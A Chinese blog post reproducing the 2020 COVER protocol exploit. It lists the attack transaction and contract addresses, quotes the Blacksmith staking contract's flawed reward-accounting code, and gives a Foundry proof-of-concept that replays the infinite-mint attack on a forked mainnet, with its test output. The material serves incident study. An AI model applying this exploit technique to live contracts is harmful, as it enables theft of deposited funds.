Skip to main content

Command Palette

Search for a command to run...

defi 攻击复现 cover

Published
5 min readView as Markdown
C
酷愛計算機技術Ardently Love Computer Technology 長期關註反洗錢反欺詐Long-term Focus on Anti-Money Laundering and Anti-Fraud 精通支付結算的技術、系統、流程和製度Proficient in the Technology, System, Process and Institution of Payment and Settlement
  • 涉及到的交易和地址

攻击发生的交易 https://etherscan.io/tx/0xbd1fcda7006ddd58b18cb3bfbd01ef2d1a979be596e1c73be1d7d65fd7eb8215

攻击者 attacker 地址 0x00007569643bc1709561ec2E86F385Df3759e5DD

受害者 Blacksmith 合约地址 0xE0B94a7BB45dD905c79bB1992C9879f40F1CAeD5

COVER 合约地址 0x5D8d9F5b96f4438195BE9b99eee6118Ed4304286

BPool 合约地址 0x59686E01Aa841f622a43688153062C2f24F8fDed

  • 可视化

https://app.blocksec.com/explorer/tx/eth/0xbd1fcda7006ddd58b18cb3bfbd01ef2d1a979be596e1c73be1d7d65fd7eb8215

  • 交易详情
Transaction Hash:0xbd1fcda7006ddd58b18cb3bfbd01ef2d1a979be596e1c73be1d7d65fd7eb8215
Status:Success
Block:11542310
Timestamp:1709 days ago (Dec-28-2020 12:00:21 PM UTC)

From:0x00007569643bc1709561ec2E86F385Df3759e5DD (Grap Finance: Deployer)
Interacted With (To):0xE0B94a7BB45dD905c79bB1992C9879f40F1CAeD5
ERC-20 Tokens Transferred:
From Grap Finance: Deployer To 0xE0B94a7B...40F1CAeD5 For15,255.552810089260015361 ERC-20: Balancer Poo... (BPT)
Value:0 ETH ($0.00)
Input Data: 
Function: deposit(address _lpToken, uint256 _amount)
MethodID: 0x47e7ef24
[0]:  00000000000000000000000059686e01aa841f622a43688153062c2f24f8fded
[1]:  00000000000000000000000000000000000000000000033b01532564ae945f01
  • 部分源码
COVER 合约
IBlacksmith.sol
line 9-55
interface IBlacksmith {
  struct Miner {
    uint256 amount;
    uint256 rewardWriteoff; // the amount of COVER tokens to write off when calculate rewards from last update
    uint256 bonusWriteoff; // the amount of bonus tokens to write off when calculate rewards from last update
  }

  struct Pool {
    uint256 weight; // the allocation weight for pool
    uint256 accRewardsPerToken; // accumulated COVER to the lastUpdated Time
    uint256 lastUpdatedAt; // last accumulated rewards update timestamp
  }

  struct BonusToken {
    address addr; // the external bonus token, like CRV
    uint256 startTime;
    uint256 endTime;
    uint256 totalBonus; // total amount to be distributed from start to end
    uint256 accBonusPerToken; // accumulated bonus to the lastUpdated Time
    uint256 lastUpdatedAt; // last accumulated bonus update timestamp
  }

  event Deposit(address indexed miner, address indexed lpToken, uint256 amount);
  event Withdraw(address indexed miner, address indexed lpToken, uint256 amount);
...
  // User action functions
  function claimRewards(address _lpToken) external;
  function deposit(address _lpToken, uint256 _amount) external;
  function withdraw(address _lpToken, uint256 _amount) external;
...
  // COVER mining actions
  function updatePool(address _lpToken) external;


Blacksmith 合约
Blacksmith.sol
line 16-35
contract Blacksmith is Ownable, IBlacksmith, ReentrancyGuard {
...
  uint256 private constant CAL_MULTIPLIER = 1e12; // help calculate rewards/bonus PerToken only. 1e12 will allow meaningful $1 deposit in a $1bn pool
  address[] public poolList;
  mapping(address => Pool) public pools; // lpToken => Pool
  mapping(address => BonusToken) public bonusTokens; // lpToken => BonusToken
  // bonusToken => 1 (allowed), allow anyone to use the bonus token to run a bonus program on any pool
  mapping(address => uint8) public allowBonusTokens;
  // lpToken => Miner address => Miner data
  mapping(address => mapping(address => Miner)) public miners;

line 73-107
  /// @notice update pool's rewards & bonus per staked token till current block timestamp
  function updatePool(address _lpToken) public override {
    Pool storage pool = pools[_lpToken];
    if (block.timestamp <= pool.lastUpdatedAt) return;
    uint256 lpTotal = IERC20(_lpToken).balanceOf(address(this));
    if (lpTotal == 0) {
      pool.lastUpdatedAt = block.timestamp;
      return;
    }
    // update COVER rewards for pool
    uint256 coverRewards = _calculateCoverRewardsForPeriod(pool);
    pool.accRewardsPerToken = pool.accRewardsPerToken.add(coverRewards.div(lpTotal));
    pool.lastUpdatedAt = block.timestamp;
    // update bonus token rewards if exist for pool
    BonusToken storage bonusToken = bonusTokens[_lpToken];
    if (bonusToken.lastUpdatedAt < bonusToken.endTime && bonusToken.startTime < block.timestamp) {
      uint256 bonus = _calculateBonusForPeriod(bonusToken);
      bonusToken.accBonusPerToken = bonusToken.accBonusPerToken.add(bonus.div(lpTotal));
      bonusToken.lastUpdatedAt = block.timestamp <= bonusToken.endTime ? block.timestamp : bonusToken.endTime;
    }
  }

  function claimRewards(address _lpToken) public override {
    updatePool(_lpToken);

    Pool memory pool = pools[_lpToken];
    Miner storage miner = miners[_lpToken][msg.sender];
    BonusToken memory bonusToken = bonusTokens[_lpToken];

    _claimCoverRewards(pool, miner);
    _claimBonus(bonusToken, miner);
    // update writeoff to match current acc rewards & bonus per token
    miner.rewardWriteoff = miner.amount.mul(pool.accRewardsPerToken).div(CAL_MULTIPLIER);
    miner.bonusWriteoff = miner.amount.mul(bonusToken.accBonusPerToken).div(CAL_MULTIPLIER);
  }

line 115-155
  function deposit(address _lpToken, uint256 _amount) external override {
    require(block.timestamp >= START_TIME , "Blacksmith: not started");
    require(_amount > 0, "Blacksmith: amount is 0");
    Pool memory pool = pools[_lpToken];
    require(pool.lastUpdatedAt > 0, "Blacksmith: pool does not exists");
    require(IERC20(_lpToken).balanceOf(msg.sender) >= _amount, "Blacksmith: insufficient balance");
    updatePool(_lpToken);

    Miner storage miner = miners[_lpToken][msg.sender];
    BonusToken memory bonusToken = bonusTokens[_lpToken];
    _claimCoverRewards(pool, miner);
    _claimBonus(bonusToken, miner);

    miner.amount = miner.amount.add(_amount);
    // update writeoff to match current acc rewards/bonus per token
    miner.rewardWriteoff = miner.amount.mul(pool.accRewardsPerToken).div(CAL_MULTIPLIER);
    miner.bonusWriteoff = miner.amount.mul(bonusToken.accBonusPerToken).div(CAL_MULTIPLIER);

    IERC20(_lpToken).safeTransferFrom(msg.sender, address(this), _amount);
    emit Deposit(msg.sender, _lpToken, _amount);
  }

  function withdraw(address _lpToken, uint256 _amount) external override {
    require(_amount > 0, "Blacksmith: amount is 0");
    Miner storage miner = miners[_lpToken][msg.sender];
    require(miner.amount >= _amount, "Blacksmith: insufficient balance");
    updatePool(_lpToken);

    Pool memory pool = pools[_lpToken];
    BonusToken memory bonusToken = bonusTokens[_lpToken];
    _claimCoverRewards(pool, miner);
    _claimBonus(bonusToken, miner);

    miner.amount = miner.amount.sub(_amount);
    // update writeoff to match current acc rewards/bonus per token
    miner.rewardWriteoff = miner.amount.mul(pool.accRewardsPerToken).div(CAL_MULTIPLIER);
    miner.bonusWriteoff = miner.amount.mul(bonusToken.accBonusPerToken).div(CAL_MULTIPLIER);

    _safeTransfer(_lpToken, _amount);
    emit Withdraw(msg.sender, _lpToken, _amount);
  }

line 314-321
  function _claimCoverRewards(Pool memory pool, Miner memory miner) private nonReentrant {
    if (miner.amount > 0) {
      uint256 minedSinceLastUpdate = miner.amount.mul(pool.accRewardsPerToken).div(CAL_MULTIPLIER).sub(miner.rewardWriteoff);
      if (minedSinceLastUpdate > 0) {
        cover.mint(msg.sender, minedSinceLastUpdate); // mint COVER tokens to miner
      }
    }
  }

从 IBlacksmith.sol 源码可见:IBlacksmith 被定义为接口。Miner 和 Pool 都是[结构体]

其中:Miner.rewardWriteoff 最后更新时计算得出的冲销的 COVER 代币;Pool.accRewardsPerToken 更新至现在的累计 COVER 代币数量

  • EXP

https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-12/Cover_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

interface Blacksmith {
    function claimRewardsForPools(address[] calldata _lpTokens) external;

    function claimRewards(address _lpToken) external;

    function deposit(address _lpToken, uint256 _amount) external;

    function withdraw(address _lpToken, uint256 _amount) external;
}// 定义 Blacksmith 接口,以及将要用到的几个函数

contract ContractTest is Test {
    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);// 按照 foundry 说明文档,通过使用作弊码地址(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)来提供作弊码

    Blacksmith public bs = Blacksmith(0xE0B94a7BB45dD905c79bB1992C9879f40F1CAeD5);// 把受害者 Blacksmith 合约地址传入接口,使得该实例能够使用接口的函数

    IERC20 public bpt = IERC20(0x59686E01Aa841f622a43688153062C2f24F8fDed);// 把 BPool 合约地址传入 IERC20 接口,使得该实例能够使用接口的函数

    IERC20 public Cover = IERC20(0x5D8d9F5b96f4438195BE9b99eee6118Ed4304286);// 把 COVER 合约地址传入 IERC20 接口,使得该实例能够使用接口的函数

    function setUp() public {
        cheat.createSelectFork("mainnet", 11_542_309); // 攻击发生在 11542310 ,分叉前一区块
    }

    function test() public {
        cheat.prank(0x00007569643bc1709561ec2E86F385Df3759e5DD);// 按照 foundry 说明文档,startPrank 函数设置 attacker 用于所有后续调用,直到调用 stopPrank 为止
        bs.deposit(address(bpt), 15_255_552_810_089_260_015_361);// 调用 Blacksmith 合约的 deposit 函数,存入 BPool 代币,数量为 15,255.552810089260015361
        emit log_named_uint("Deposit BPT", 15_255_552_810_089_260_015_361);
        cheat.prank(0x00007569643bc1709561ec2E86F385Df3759e5DD);// 按照 foundry 说明文档,startPrank 函数设置 attacker 用于所有后续调用,直到调用 stopPrank 为止
        bs.claimRewards(address(bpt));//  调用 Blacksmith 合约的 claimRewards 函数,取出 BPool 代币
        emit log_named_uint(
            "After claimRewards, Cover Balance", Cover.balanceOf(0x00007569643bc1709561ec2E86F385Df3759e5DD)
        );
    }
}
  • 测试结果
$ forge test Cover_exp.t.sol -vvv
[?] Compiling...
[?] Compiling 1 files with Solc 0.8.10
[?] Solc 0.8.10 finished in 3.70s
Compiler run successful with warnings:

Ran 1 test for test/Cover_exp.t.sol:ContractTest
[PASS] test() (gas: 140811)
Logs:
  Deposit BPT: 15255552810089260015361
  After claimRewards, Cover Balance: 40316176729922452045213336697791916580
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 26.89s (24.65s CPU time)
Ran 1 test suite in 26.96s (26.89s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
  • 主要参考文章
https://tokenview.io/cn/learn/cover-issue-bug.html

https://zhuanlan.zhihu.com/p/346785504

https://three-recorder-52a.notion.site/Cover-e4cfb06a161946c0b28de21b5d81af05

More from this blog

Penetration Test、Python、Weaponization

721 posts

微信 smartcat9999 反欺詐Anti-Fraud 反洗錢Anti-Money Laundering 反逃稅Anti-Tax Evasion 滲透測試Penetration Test 武器化Weaponization